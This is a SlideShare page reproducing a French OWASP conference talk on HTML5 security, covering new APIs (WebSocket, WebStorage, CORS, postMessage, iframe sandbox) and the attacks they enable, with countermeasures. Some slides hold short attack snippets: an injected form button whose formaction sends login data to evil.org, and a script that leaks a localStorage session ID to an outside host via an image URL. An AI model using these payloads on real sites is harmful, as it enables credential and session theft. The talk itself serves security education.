The OWASP Foundation                                                                 http://www.owasp.org                 ...
Agenda                   •Un peu d’histoire                   •HTML5 pour les nuls en 4mn 2s                   •Nouvelles ...
Back to the past          1995              1998      2000    2005       2012   HTML 2.0                        HTML 4.0  ...
4Wednesday, February 8, 12
ELEMENTS INTERESSANTS DE HTML5                                             5Wednesday, February 8, 12
4mn 2s                   Nouvelles balises                            •   On n’est pas la pour parler de peinture...      ...
4mn 2s                   WebSocket : Permet d’effectuer des connexions                     persistantes et bi-directionnel...
4mn 2s                   WebMessaging : communication inter-documents                     HTML                            ...
4mn 2s                   IndexedDB; la Web SQL Database...                   •API synchrone et asynchrone                 ...
4mn 2s                   Offline Web Applications: possibilité                     d’exécuter tout ou partie des applicatio...
4mn 2s                   WebStorage : donne la capacité au navigateur                     de stocker jusqu’a 5Mo à 10Mo de...
SÉCURITÉ ?                            12Wednesday, February 8, 12
OWASP Top Ten 2010                                                                           A3:	  Mauvaise	  ges-on	     ...
Falsification de Forms                   Il est possible de contrôler une Forms en                      dehors de l’élémen...
Falsification Forms                   <form id=“login” action=“login.php” >                     <input type=“text” name=“u...
Protocol/content Handlers                            Il est possible d’enregistrer des handlers de                        ...
Cross Origin Resource Sharing 1/4                   XHR ne peut dialoguer qu’avec le site Web                     originai...
Cross Origin Resource Sharing 1/4                   XHR ne peut dialoguer qu’avec le site Web                     originai...
Cross Origin Resource Sharing 1/4                   XHR ne peut dialoguer qu’avec le site Web                     originai...
Cross Origin Resource Sharing 1/4                   XHR ne peut dialoguer qu’avec le site Web                     originai...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                              Bypass des contrôles d’accès                               ...
Cross Origin Resource Sharing 2/4                              Bypass des contrôles d’accès                               ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 2/4                            Bypass des contrôles d’accès                                 ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                       ...
Cross Origin Resource Sharing 3/4                            DDOS ?                                                     po...
Cross Origin Resource Sharing 4/4                   Contre-mesures :                   •Restriction du domaine            ...
WebStorage                   Pas de contrôle de la part de l’utilisateur                     sur ce qui est stocké/accéder...
WebStorage                   Vol de Sessions; juste un peu plus                     compliqué. :  <script>  document.write...
WebStorage                   Tracking User                                   Les localStorage ne sont pas forcément       ...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
WebSocket API :)                   Possible entre différents domaines                   Permettrai de réduire la taille du...
Websocket Menaces                   Parmi les attaques possible, certaines sont                     triviales:            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
WebSocket                   •Empoisonnement de cache de proxy                                Proxy Transparent            ...
OffLine Web Application                  <!DOCTYPE HTML>                  <html manifest="/cache.manifest">               ...
WebMessage                   •Possibilité de perte de données sensibles                            (si envoyées à une “mau...
API Geolocation                   Possibilité de découvrir le lieu ou se trouve                     l’utilisateur (sous re...
Bac a sable des iframes                    <iframe sandbox="....."                    src="http://monsite.com/index.html">...
Bac a sable des iframes                   Lever les restrictions :                   •allow-same-origin : autorise le cont...
Autres points importants                   Les longs traitements en JavaScript                     “plantaient” les naviga...
Autres Points importants                   CSS3 introduit de nouvelles capacités à                     injecter du code Ja...
Conclusion            Plein de nouvelles API interessantes pour               le développeur                            L’...
ww.html5test.com                                               35Wednesday, February 8, 12
Quelques Sites a suivre..                   http://www.w3.org/TR/html5/ : le standard                   https://www.owasp....
Prochain SlideShare
Chargement dans…5
×

2011 02-07-html5-security-v1

2 146 vues

Publié le

Présentation effectuée sur HTML5 aux MSTechDays 2012

Publié dans : Technologie
0 commentaire
2 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

Aucun téléchargement
Vues
Nombre de vues
2 146
Sur SlideShare
0
Issues des intégrations
0
Intégrations
622
Actions
Partages
0
Téléchargements
61
Commentaires
0
J’aime
2
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

2011 02-07-html5-security-v1

  1. 1. The OWASP Foundation http://www.owasp.org et la Sécurité ou comment les Poneys envahissent le Web 3.0... Sébastien Gioria French OWASP Leader Global Education Committee Paris - 7 Février 2012Wednesday, February 8, 12
  2. 2. Agenda •Un peu d’histoire •HTML5 pour les nuls en 4mn 2s •Nouvelles attaques et protections ? •Références 2Wednesday, February 8, 12
  3. 3. Back to the past 1995 1998 2000 2005 2012 HTML 2.0 HTML 4.0 HTML 5 ? CSS 2 CSS 3 JavaScript la DOM XmlHttpRequest 3Wednesday, February 8, 12
  4. 4. 4Wednesday, February 8, 12
  5. 5. ELEMENTS INTERESSANTS DE HTML5 5Wednesday, February 8, 12
  6. 6. 4mn 2s Nouvelles balises • On n’est pas la pour parler de peinture... Nouvelles APIs • WebSocket • WebMessaging • IndexedDB • OffLine Web Application • WebStorage (votre nouveau DropBox ? ...) • Cross Origin Ressource Sharing (déja rien que le nom est intéressant...) 6Wednesday, February 8, 12
  7. 7. 4mn 2s WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles • mécanisme de “Push” possible • interface en cours de finalisation/ spécifications • nécessite un serveur “compatible” • API minimaliste (send, receive via event) • http://www.w3.org/TR/websockets/ 7Wednesday, February 8, 12
  8. 8. 4mn 2s WebMessaging : communication inter-documents HTML • via la méthode window.postMessage(); • pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....) • vérification de l’origine a la charge de l’application receptrice. • il est possible de transporter du JSON :) • http://www.w3.org/TR/webmessaging/ 8Wednesday, February 8, 12
  9. 9. 4mn 2s IndexedDB; la Web SQL Database... •API synchrone et asynchrone •pensée pour JavaScript; stockage d’objets •http://www.w3.org/TR/IndexedDB/ 9Wednesday, February 8, 12
  10. 10. 4mn 2s Offline Web Applications: possibilité d’exécuter tout ou partie des applications même déconnecté. • via navigator.onLine • mise en cache des données nécessaires(HTML, CSS, JavaScript...) • http://www.w3.org/TR/html5/ offline.html 10Wednesday, February 8, 12
  11. 11. 4mn 2s WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données •deux type de stockage : local ou de session •possibilité de stocker des objets JSON •possibilité de stocker de manière régulière •http://www.w3.org/TR/webstorage/ 11Wednesday, February 8, 12
  12. 12. SÉCURITÉ ? 12Wednesday, February 8, 12
  13. 13. OWASP Top Ten 2010 A3:  Mauvaise  ges-on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec-on des  sessions  et  de   non  sécurisée  à  un   Scrip-ng  (XSS) l’authen-fica-on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric-on  d’accès  à   Forgery  (CSRF)   configura-on  sécurité cryptographique une  URL A9:  Protec-on   A10:    Redirec-ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données http://www.owasp.org/index.php/Top_10Wednesday, February 8, 12
  14. 14. Falsification de Forms Il est possible de contrôler une Forms en dehors de l’élément “forms” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 14Wednesday, February 8, 12
  15. 15. Falsification Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si on arrive à injecter ce code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée 15Wednesday, February 8, 12
  16. 16. Protocol/content Handlers Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés • sms:// • application/pdf Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs) Il n’est pas obligatoire de demander à l’utilisateur son autorisation 16Wednesday, February 8, 12
  17. 17. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17Wednesday, February 8, 12
  18. 18. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17Wednesday, February 8, 12
  19. 19. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les 17Wednesday, February 8, 12
  20. 20. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com 17Wednesday, February 8, 12
  21. 21. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  22. 22. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  23. 23. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  24. 24. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  25. 25. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  26. 26. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18Wednesday, February 8, 12
  27. 27. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18Wednesday, February 8, 12
  28. 28. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  29. 29. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18Wednesday, February 8, 12
  30. 30. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18Wednesday, February 8, 12
  31. 31. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  32. 32. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18Wednesday, February 8, 12
  33. 33. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18Wednesday, February 8, 12
  34. 34. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  35. 35. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  36. 36. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  37. 37. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  38. 38. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  39. 39. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  40. 40. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr POST /endpoint HTTP/1.1 .....(contenu de la page interne) intranet 18Wednesday, February 8, 12
  41. 41. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  42. 42. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  43. 43. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  44. 44. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  45. 45. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  46. 46. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19Wednesday, February 8, 12
  47. 47. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19Wednesday, February 8, 12
  48. 48. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  49. 49. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr HTTP/1.1 200 Ok <iframe src=... www.cible.com 19Wednesday, February 8, 12
  50. 50. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  51. 51. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  52. 52. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  53. 53. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  54. 54. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML HttpRe ques t www.cible.com 19Wednesday, February 8, 12
  55. 55. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  56. 56. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  57. 57. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML Http www.cible.com Reques t 19Wednesday, February 8, 12
  58. 58. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  59. 59. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  60. 60. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com XML Http Reques t 19Wednesday, February 8, 12
  61. 61. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  62. 62. Cross Origin Resource Sharing 4/4 Contre-mesures : •Restriction du domaine •Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant. •Mettre en place des contre-mesures réseaux (pour les DDOS) 20Wednesday, February 8, 12
  63. 63. WebStorage Pas de contrôle de la part de l’utilisateur sur ce qui est stocké/accéder L’injection de Javascript peut bypasser la limitation du contrôle d’accès. ➡Vol de Sessions ➡Vol de données sensibles ➡Tracking d’utilisateurs 21Wednesday, February 8, 12
  64. 64. WebStorage Vol de Sessions; juste un peu plus compliqué. : <script> document.write("<img src=http://www.mysite.com?sessionID="+localStorage.getItem(SessionID)+">"); </script> le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage ! 22Wednesday, February 8, 12
  65. 65. WebStorage Tracking User Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur 23Wednesday, February 8, 12
  66. 66. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  67. 67. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  68. 68. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  69. 69. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  70. 70. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24Wednesday, February 8, 12
  71. 71. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24Wednesday, February 8, 12
  72. 72. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24Wednesday, February 8, 12
  73. 73. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24Wednesday, February 8, 12
  74. 74. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24Wednesday, February 8, 12
  75. 75. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24Wednesday, February 8, 12
  76. 76. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24Wednesday, February 8, 12
  77. 77. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24Wednesday, February 8, 12
  78. 78. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake Tunnel TCP Full Duplex 24Wednesday, February 8, 12
  79. 79. Websocket Menaces Parmi les attaques possible, certaines sont triviales: •Shell Distant •Botnet Web • via un XSS ou tout simplement en se connectant à un site Web. •Port scanning... 25Wednesday, February 8, 12
  80. 80. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  81. 81. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  82. 82. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  83. 83. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  84. 84. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26Wednesday, February 8, 12
  85. 85. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26Wednesday, February 8, 12
  86. 86. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26Wednesday, February 8, 12
  87. 87. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26Wednesday, February 8, 12
  88. 88. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26Wednesday, February 8, 12
  89. 89. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26Wednesday, February 8, 12
  90. 90. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  91. 91. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  92. 92. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  93. 93. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26Wednesday, February 8, 12
  94. 94. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26Wednesday, February 8, 12
  95. 95. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com HTTP/1.1 200 Ok Contenu falsifié 26Wednesday, February 8, 12
  96. 96. OffLine Web Application <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> •Possibilité d’avoir des attaques de Type APT ? •Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL 27Wednesday, February 8, 12
  97. 97. WebMessage •Possibilité de perte de données sensibles (si envoyées à une “mauvaise iframe”) Page du site “interne” postMessage() <iframe src=”outside.control” 28Wednesday, February 8, 12
  98. 98. API Geolocation Possibilité de découvrir le lieu ou se trouve l’utilisateur (sous reserve d’avoir un GPS, ou autre système). Perte de données de vie privée... 29Wednesday, February 8, 12
  99. 99. Bac a sable des iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> Par défaut si rien n’est précisé : •Les formulaires, scripts et plug-ins sont désactivés. •Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage). •Par d’AJAX •Les liens ne peuvent cibler d’autres frames •Le contenu est considéré externe (pas d’accès à la DOM) 30Wednesday, February 8, 12
  100. 100. Bac a sable des iframes Lever les restrictions : •allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe •allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur •allow-forms : autorise les formulaires •allow- scripts : les scripts (hors popup) sont autorisés Les navigateurs ne supportent pas tous ces éléments ! 31Wednesday, February 8, 12
  101. 101. Autres points importants Les longs traitements en JavaScript “plantaient” les navigateurs. Les WebWorkers permettent de lancer des JavaScript en tache de fond DDOS avec CORS & WebWorkers Calculs distribués (cf Ravan) 32Wednesday, February 8, 12
  102. 102. Autres Points importants CSS3 introduit de nouvelles capacités à injecter du code JavaScript Nouvelles capacités au ClickJacking 33Wednesday, February 8, 12
  103. 103. Conclusion Plein de nouvelles API interessantes pour le développeur L’ouverture se fait au détriment de la sécurité.... Une surface d’attaque accrue La belle part au JavaScript (qui peut s’executer sans consentement utilisateur) 34Wednesday, February 8, 12
  104. 104. ww.html5test.com 35Wednesday, February 8, 12
  105. 105. Quelques Sites a suivre.. http://www.w3.org/TR/html5/ : le standard https://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet http://www.caniuse.com : liste des différents supports d’API par navigateur http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme. 36Wednesday, February 8, 12

×